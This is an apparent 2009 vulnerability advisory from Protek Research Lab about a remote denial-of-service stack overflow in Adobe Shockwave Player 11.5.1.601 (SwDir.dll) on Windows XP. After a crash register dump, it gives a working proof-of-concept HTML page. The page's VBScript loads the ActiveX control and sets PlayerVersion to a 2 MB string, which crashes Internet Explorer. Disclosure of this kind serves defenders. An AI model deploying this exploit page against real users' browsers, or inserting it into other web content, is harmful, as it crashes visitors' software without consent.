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Application: Adobe ShockWave Player (11.5.1.601)
Platforms: Windows XP Professional French SP2 and SP3
crash: IE 6.0.2900.2180
Exploitation: remote DoS
Date: 2009-08-24
Author: Francis Provencher (Protek Research Lab's)
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1) Introduction
2) Technical details and bug
3) The Code
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===============
1) Introduction
===============
Over 450 million Internet-enabled desktops have installed Adobe Shockwave Player.
These people now have access to some of the best the Web has to offer - including dazzling 3D games and entertainment,
interactive product demonstrations, and online learning applications. Shockwave Player displays Web content that has been created by Adobe Director.
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============================
2) Technical details
============================
Name: SwDir.dll
Ver.: 11.5.1.601
CLSID: {233C1507-6A77-46A4-9443-F871F945D258}
(d40.b20): Stack overflow - code c00000fd
eax=00305004 ebx=00000003 ecx=00032f80 edx=00400000 esi=09ae0024 edi=00400002
eip=69214965 esp=0012df78 ebp=0012df8c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
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===========
3) The Code
===========
Proof of concept DoS code;
<html>
<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>
argCount = 1
arg1=String(2097152, "A")
ShockW.PlayerVersion = arg1
</script>
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